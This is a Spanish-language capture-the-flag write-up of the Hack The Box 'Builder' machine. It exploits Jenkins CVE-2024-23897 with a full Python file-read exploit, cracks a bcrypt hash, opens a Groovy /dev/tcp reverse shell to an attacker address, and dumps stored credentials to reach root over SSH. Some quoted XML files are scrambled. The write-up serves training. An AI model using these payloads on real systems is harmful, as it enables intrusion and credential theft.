Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
      • PriveEsc Checklist
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy Level
          • Busqueda
          • Help
          • Sau
          • Broker
          • Sea
          • Nibbles
          • Codify
          • Cozyhosting
          • Devvortex
          • Irked
          • Keeper
          • Knife
          • Pilgrimage
          • Soccer
          • Sunday
          • Tabby
          • Usage
          • Bashed
          • Analytics
          • Networked
          • Swagshop
          • Pandora
          • OpenAdmin
          • Precious
          • Boardlight
          • Editorial
        • Medium Level
          • Monitored
          • Updown
          • Popcorn
          • Jarvis
          • Mentor
          • Poison
          • Solidstate
          • Tartarsauce
          • Nineveh
          • Magic
          • Builder
        • Hard Level
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
        • 7.SMTP
      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
      • Login-brute-forcing
      • Password-attacks
      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
      • Ligolo-ng
      • Pivoting-tunneling-and-port-forwarding
      • TIPS
      • CheatSheet
    • OSCP
      • Preparation
      • Cheatsheets
      • Machine List
  • 📚Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • Pentestmonkey Revshell
    • OSINT Tools
    • Weakpass
Powered by GitBook
On this page
  • 📝 Descripción
  • 🔭 Reconocimiento
  • 🌐 Enumeración Web
  1. CTFs
  2. Hack The Box
  3. Linux
  4. Medium Level

Builder

PreviousMagicNextHard Level

Last updated 1 day ago

Publicado: 06 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Medium

📝 Descripción

Builder es una máquina Linux de dificultad media que aloja un servidor Jenkins vulnerable. La máquina presenta una vulnerabilidad de lectura de archivos locales (LFI) en Jenkins a través del CVE-2024-23897, que permite acceder a archivos del sistema sin autenticación. Esta vulnerabilidad surge por el uso de la librería args4j en el CLI de Jenkins, donde argumentos que comienzan con @ seguidos de una ruta de archivo son interpretados automáticamente como contenido del archivo.

El proceso de explotación incluye el uso de esta vulnerabilidad para extraer archivos de configuración de Jenkins, específicamente archivos XML que contienen hashes de contraseñas de usuarios. Una vez obtenidas las credenciales mediante fuerza bruta, se aprovecha la consola de scripts de Jenkins (Groovy) para ejecutar código arbitrario y obtener una shell reversa. Finalmente, se descubren credenciales SSH almacenadas en el sistema Jenkins para escalar privilegios al usuario root.

Categorías: 🔐 Credential Harvesting, 🌐 Web Exploitation, 🐳 Container Escape, 🔑 SSH Key Extraction, 💻 Jenkins Security

🔭 Reconocimiento

Ping para verificación en base a TTL

❯   ping -c2 10.10.11.10                         
PING 10.10.11.10 (10.10.11.10) 56(84) bytes of data.
64 bytes from 10.10.11.10: icmp_seq=1 ttl=63 time=49.3 ms
64 bytes from 10.10.11.10: icmp_seq=2 ttl=63 time=47.5 ms

--- 10.10.11.10 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 47.504/48.382/49.261/0.878 ms

💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.

Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.10 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports                                                 
22,8080

Enumeración de servicios

nmap -sC -sV -p$ports 10.10.11.10 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 13:46 CEST
Nmap scan report for 10.10.11.10
Host is up (1.6s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(10.0.18)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

🌐 Enumeración Web

🏗️ Puerto 8080 HTTP (Jenkins 2.441)

Accedemos al puerto 8080 y descubrimos un servicio Jenkins. A priori no podemos enumerar gran cosa salvo un usuario llamado jennifer y la versión de este servicio que es la 2.441 que es conocida por presentar una vulnerabilidad de tipo Local File Inclusion.

CVE-2024-23897

¿Qué es CVE‑2024‑23897?

  • Se origina por una característica de la librería args4j utilizada en el CLI: cuando un argumento comienza con @ seguido de un camino de archivo, Jenkins reemplaza automáticamente esa sintaxis por el contenido del archivo — incluso si no estás autenticado.

🔓 Cómo se explota

  1. El atacante descarga jenkins-cli.jar del servidor Jenkins.

  2. Con los secretos obtenidos, podrían escalar a RCE usando los vectores mencionados arriba.

En este caso decido usar un script en python en lugar de usar jenkins-cli.jar aunque en caso de optar por la primera opción el comando a utilizar sería algo como esto:

java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ -http connect-node "@/etc/passwd"

🐍 Exploit en Python

# Exploit Title: Jenkins 2.441 - Local File Inclusion
# Date: 14/04/2024
# Exploit Author: Matisse Beckandt (Backendt)
# Vendor Homepage: https://www.jenkins.io/
# Software Link: https://github.com/jenkinsci/jenkins/archive/refs/tags/jenkins-2.441.zip
# Version: 2.441
# Tested on: Debian 12 (Bookworm)
# CVE: CVE-2024-23897

from argparse import ArgumentParser
from requests import Session, post, exceptions
from threading import Thread
from uuid import uuid4
from time import sleep
from re import findall

class Exploit(Thread):
  def __init__(self, url: str, identifier: str):
    Thread.__init__(self)
    self.daemon = True
    self.url = url
    self.params = {"remoting": "false"}
    self.identifier = identifier
    self.stop_thread = False
    self.listen = False

  def run(self):
    while not self.stop_thread:
      if self.listen:
        self.listen_and_print()

  def stop(self):
    self.stop_thread = True

  def receive_next_message(self):
    self.listen = True

  def wait_for_message(self):
    while self.listen:
      sleep(0.5)

  def print_formatted_output(self, output: str):
    if "ERROR: No such file" in output:
      print("File not found.")
    elif "ERROR: Failed to parse" in output:
      print("Could not read file.")

    expression = "No such agent \"(.*)\" exists."
    results = findall(expression, output)
    print("\n".join(results))

  def listen_and_print(self):
    session = Session()
    headers = {"Side": "download", "Session": self.identifier}
    try:
      response = session.post(self.url, params=self.params, headers=headers)
    except (exceptions.ConnectTimeout, exceptions.ConnectionError):
      print("Could not connect to target to setup the listener.")
      exit(1)

    self.print_formatted_output(response.text)
    self.listen = False

  def send_file_request(self, filepath: str):
    headers = {"Side": "upload", "Session": self.identifier}
    payload = get_payload(filepath)
    try:
      post(self.url, data=payload, params=self.params, headers=headers, timeout=4)
    except (exceptions.ConnectTimeout, exceptions.ConnectionError):
      print("Could not connect to the target to send the request.")
      exit(1)

  def read_file(self, filepath: str):
    self.receive_next_message()
    sleep(0.1)
    self.send_file_request(filepath)
    self.wait_for_message()

def get_payload_message(operation_index: int, text: str) -> bytes:
  text_bytes = bytes(text, "utf-8")
  text_size = len(text_bytes)
  text_message = text_size.to_bytes(2) + text_bytes
  message_size = len(text_message)

  payload = message_size.to_bytes(4) + operation_index.to_bytes(1) + text_message
  return payload

def get_payload(filepath: str) -> bytes:
  arg_operation = 0
  start_operation = 3

  command = get_payload_message(arg_operation, "connect-node")
  poisoned_argument = get_payload_message(arg_operation, f"@{filepath}")

  payload = command + poisoned_argument + start_operation.to_bytes(1)
  return payload

def start_interactive_file_read(exploit: Exploit):
  print("Press Ctrl+C to exit")
  while True:
    filepath = input("File to download:\n> ")
    filepath = make_path_absolute(filepath)
    exploit.receive_next_message()

    try:
      exploit.read_file(filepath)
    except exceptions.ReadTimeout:
      print("Payload request timed out.")

def make_path_absolute(filepath: str) -> str:
    if not filepath.startswith('/'):
      return f"/proc/self/cwd/{filepath}"
    return filepath

def format_target_url(url: str) -> str:
  if url.endswith('/'):
    url = url[:-1]
  return f"{url}/cli"

def get_arguments():
  parser = ArgumentParser(description="Local File Inclusion exploit for CVE-2024-23897")
  parser.add_argument("-u", "--url", required=True, help="The url of the vulnerable Jenkins service. Ex: http://helloworld.com/")
  parser.add_argument("-p", "--path", help="The absolute path of the file to download")
  return parser.parse_args()

def main():
  args = get_arguments()
  url = format_target_url(args.url)
  filepath = args.path
  identifier = str(uuid4())

  exploit = Exploit(url, identifier)
  exploit.start()

  if filepath:
    filepath = make_path_absolute(filepath)
    exploit.read_file(filepath)
    exploit.stop()
    return

  try:
    start_interactive_file_read(exploit)
  except KeyboardInterrupt:
    pass
  print("\nQuitting")
  exploit.stop()

if __name__ == "__main__":
  main()
            

Confirmamos la vulnerabilidad LFI leyendo el archivo /etc/passwd del sistema

python3 lfi_jenkins.py -u http://10.10.11.10:8080 

Vemos que hay un usuario llamado jenkins en el sistema. Buscando información sobre donde guarda Jenkins las credenciales de usuario, vemos que existe un archivo initialAdminPassword que debería ubicarse en /var/jenkins_home/secrets/initialAdminPassword pero en este caso no obtenemos resultado:

Sin embargo, buscando y leyendo documentación sobre configuración de jenkins https://dev.to/pencillr/spawn-a-jenkins-from-code-gfa?source=post_page-----143ad7fde347---------------------------------------

encontramos que hay algunos otros ficheros como config.xml y users.xml que pueden ser de utilidad:

📁 /var/jenkins_home/users/users.xml

<?xml version='1.1' encoding='UTF-8'?>
      <string>jennifer_12108429903186576833</string>
  <idToDirectoryNameMap class="concurrent-hash-map">
    <entry>
      <string>jennifer</string>
  <version>1</version>
</hudson.model.UserIdMapper>
  </idToDirectoryNameMap>
<hudson.model.UserIdMapper>
    </entry>

📁 /var/jenkins_home/config.xml

 <primaryView>all</primaryView>
  <label></label>
  <clouds/>
  <disabledAdministrativeMonitors/>
  </authorizationStrategy>
<hudson>
    <excludeClientIPFromCrumb>false</excludeClientIPFromCrumb>
    </hudson.model.AllView>
  </crumbIssuer>
  <disableRememberMe>false</disableRememberMe>
  <authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy">
  <viewsTabBar class="hudson.views.DefaultViewsTabBar"/>
</hudson>
  <numExecutors>2</numExecutors>
    <disableSignup>true</disableSignup>
      <properties class="hudson.model.View$PropertyList"/>
  </views>
  <globalNodeProperties/>
    <enableCaptcha>false</enableCaptcha>
  <workspaceDir>${JENKINS_HOME}/workspace/${ITEM_FULL_NAME}</workspaceDir>
    <denyAnonymousReadAccess>false</denyAnonymousReadAccess>
  <scmCheckoutRetryCount>0</scmCheckoutRetryCount>
<?xml version='1.1' encoding='UTF-8'?>
  </securityRealm>
  <projectNamingStrategy class="jenkins.model.ProjectNamingStrategy$DefaultProjectNamingStrategy"/>
  <crumbIssuer class="hudson.security.csrf.DefaultCrumbIssuer">
      <name>all</name>
  <nodeProperties/>
  <views>
  <slaveAgentPort>50000</slaveAgentPort>
  <useSecurity>true</useSecurity>
  <buildsDir>${ITEM_ROOTDIR}/builds</buildsDir>
  <jdks/>
  <version>2.441</version>
      <owner class="hudson" reference="../../.."/>
  <nodeRenameMigrationNeeded>false</nodeRenameMigrationNeeded>
      <filterExecutors>false</filterExecutors>
      <filterQueue>false</filterQueue>
  <securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
  <myViewsTabBar class="hudson.views.DefaultMyViewsTabBar"/>
    <hudson.model.AllView>
  <mode>NORMAL</mode>

Lo interesante de esta información está en la clave jennifer_12108429903186576833. Podemos usarla para continuar enumerando la información específica de este usuario:

📁 /var/jenkins_home/users/jennifer_12108429903186576833/config.xml

   <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">
    <hudson.search.UserSearchProperty>
      <roles>
    <jenkins.security.seed.UserSeedProperty>
      </tokenStore>
    </hudson.search.UserSearchProperty>
      <timeZoneName></timeZoneName>
  <properties>
    <jenkins.security.LastGrantedAuthoritiesProperty>
      <flags/>
    <hudson.model.MyViewsProperty>
</user>
    </jenkins.security.ApiTokenProperty>
      <views>
        <string>authenticated</string>
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">
<user>
          <name>all</name>
  <description></description>
      <emailAddress>jennifer@builder.htb</emailAddress>
      <collapsed/>
    </jenkins.security.seed.UserSeedProperty>
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
    </hudson.model.MyViewsProperty>
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>
          <filterQueue>false</filterQueue>
    <jenkins.security.ApiTokenProperty>
      <primaryViewName></primaryViewName>
      </views>
    </hudson.model.TimeZoneProperty>
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">
    </hudson.model.PaneStatusProperties>
    </hudson.tasks.Mailer_-UserProperty>
        <tokenList/>
    <jenkins.console.ConsoleUrlProviderUserProperty/>
        </hudson.model.AllView>
      <timestamp>1707318554385</timestamp>
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
  </properties>
    </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
    <hudson.security.HudsonPrivateSecurityRealm_-Details>
      <insensitiveSearch>true</insensitiveSearch>
          <properties class="hudson.model.View$PropertyList"/>
    <hudson.model.TimeZoneProperty>
        <hudson.model.AllView>
    </hudson.security.HudsonPrivateSecurityRealm_-Details>
      <providerId>default</providerId>
      </roles>
    </jenkins.security.LastGrantedAuthoritiesProperty>
    <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
    <hudson.model.PaneStatusProperties>
<?xml version='1.1' encoding='UTF-8'?>
  <fullName>jennifer</fullName>
      <seed>6841d11dc1de101d</seed>
  <id>jennifer</id>
  <version>10</version>
      <tokenStore>
          <filterExecutors>false</filterExecutors>
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>

🔓 Cracking del Hash

Encontramos el hash de tipo bcrypt usuario jennifer:

$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a
nth --text '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a'

Usamos hashcat y el diccionario rockyou para crackear este hash y obtener la contraseña:

hashcat -a 0 -m 3200 '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a'  /usr/share/wordlists/rockyou.txt

🚀 Acceso Inicial

Volvemos ahora al panel de login Jenkins y nos autenticamos como jennifer:

Una vez dentro, como jennifer es admin ahora tenemos habilitadas todas las opciones del árbol de la izquierda, entre ellas está la función script console:

Usando esta consola de scripts, es posible ejecutar comandos arbitrarios, funcionando de manera similar a un shell web. Por ejemplo, podemos usar el siguiente fragmento para ejecutar el id comando.

def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Vemos que funcione y nos devuelve como el resultado del id del usuario jenkins.

Ahora veamos cómo podemos aprovechar esto para ganar acceso a la máquina. Podemos cambiar el payload anterior por:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.4/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Iniciamos un listener con netcat:

nc -nlvp 443

Ejecutar los comandos anteriores da como resultado una conexión de shell inversa.

🛠️ Mejora de la TTY

/bin/bash -i
script /dev/null -c bash
Ctrl + Z (suspended)

stty raw -echo; fg
reset xterm
export TERM=xterm
stty rows x columns x

🐳 Análisis del Entorno

Al tratar de enumerar usuarios en el directorio /home vemos que no hay nada. ¿Será que estamos dentro de un contenedor?

jenkins@0f52c222a4cc:/$ cd /home && ls -la
total 8
drwxr-xr-x 2 root root 4096 Dec  9  2023 .
drwxr-xr-x 1 root root 4096 Feb  7  2024 ..

Tal como sospechaba, estamos dentro de un contenedor tal como podemos confirmar viendo el fichero .dockerenv en la raíz del sistema:

jenkins@0f52c222a4cc:/$ ls -la
total 56
drwxr-xr-x   1 root root 4096 Feb  7  2024 .
drwxr-xr-x   1 root root 4096 Feb  7  2024 ..
-rwxr-xr-x   1 root root    0 Feb  7  2024 .dockerenv
lrwxrwxrwx   1 root root    7 Jan 10  2024 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Dec  9  2023 boot
drwxr-xr-x   5 root root  340 Jun  6 11:52 dev
drwxr-xr-x   1 root root 4096 Feb  7  2024 etc
drwxr-xr-x   2 root root 4096 Dec  9  2023 home
lrwxrwxrwx   1 root root    7 Jan 10  2024 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Jan 10  2024 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Jan 10  2024 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Jan 10  2024 libx32 -> usr/libx32
drwxr-xr-x   2 root root 4096 Jan 10  2024 media
drwxr-xr-x   2 root root 4096 Jan 10  2024 mnt
drwxr-xr-x   1 root root 4096 Jan 16  2024 opt
dr-xr-xr-x 276 root root    0 Jun  6 11:52 proc
drwx------   1 root root 4096 Jan 16  2024 root
drwxr-xr-x   1 root root 4096 Jan 16  2024 run
lrwxrwxrwx   1 root root    8 Jan 10  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Jan 10  2024 srv
dr-xr-xr-x  13 root root    0 Jun  6 11:52 sys
drwxrwxrwt   1 root root 4096 Jun  6 11:52 tmp
drwxr-xr-x   1 root root 4096 Jan 10  2024 usr
drwxr-xr-x   1 root root 4096 Jan 16  2024 var

La flag user.txt la encontramos en el directorio /var/jenkins_home

🔑 Escalada de Privilegios

Justo en el mismo directorio donde se ubica de la primera flag, vemos unos archivos con nombres que invitan a ver qué son llamados secret.key, secret.key.not-so-secret y secrets:

Parece una clave ssh, pero no en el formato que se usa habitualmente sino que parece estar en hexadecimal. Quizás si logramos obtener una llave ssh podemos escapar del contenedor y lograr una escalada de privilegios.

Investigando sobre esto descubrimos un repositorio con utilidades de jenkins: https://github.com/tarvitz/jenkins-utils

Hay un script que podemos usar en la utilidad /script de nuestro jenkins para extraer los secrets de jenkins master siempre que seamos administradores. Como en este caso lo somos, basta con ejecutarlo y obtenemos la clave:

com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{
  it.properties.each { prop, val ->
    println(prop + ' = "' + val + '"')
  }
  println("-----------------------")
}

Copiamos la clave privada y la copiamos en un fichero en nuestro host de ataque y le damos permisos 600. Finalmente nos conectamos y ganamos acceso como root:

chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.10
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40
root@builder:~# whoami
root
root@builder:~# id
uid=0(root) gid=0(root) groups=0(root)
root@builder:~# ls -la /root
total 32
drwx------  5 root root 4096 Jun  6 11:52 .
drwxr-xr-x 18 root root 4096 Feb  9  2024 ..
lrwxrwxrwx  1 root root    9 Apr 27  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
drwx------  2 root root 4096 Apr 27  2023 .cache
drwxr-xr-x  3 root root 4096 Apr 27  2023 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r-----  1 root root   33 Jun  6 11:52 root.txt
drwx------  2 root root 4096 Feb  8  2024 .ssh
root@builder:~# 

Y un panel de login en el que las credenciales por defecto no parecen funcionar.

Afecta a Jenkins Core (antes de la versión 2.442) y Jenkins LTS (antes de la versión 2.426.3).

Usa @/ruta/al/archivo como argumento en un comando CLI, provocando que el contenido del archivo se revele.

Esta consola permite a un usuario ejecutar Apache scripts, que son un lenguaje compatible con Java orientado a objetos. El lenguaje es similar a Python y Ruby. El código fuente de Groovy se compila en Java Bytecode y puede ejecutarse en cualquier plataforma que tenga JRE instalado.

🎮
🟩
nvd.nist.gov
jenkins.io
blog.certcube.com
github.com
Groovy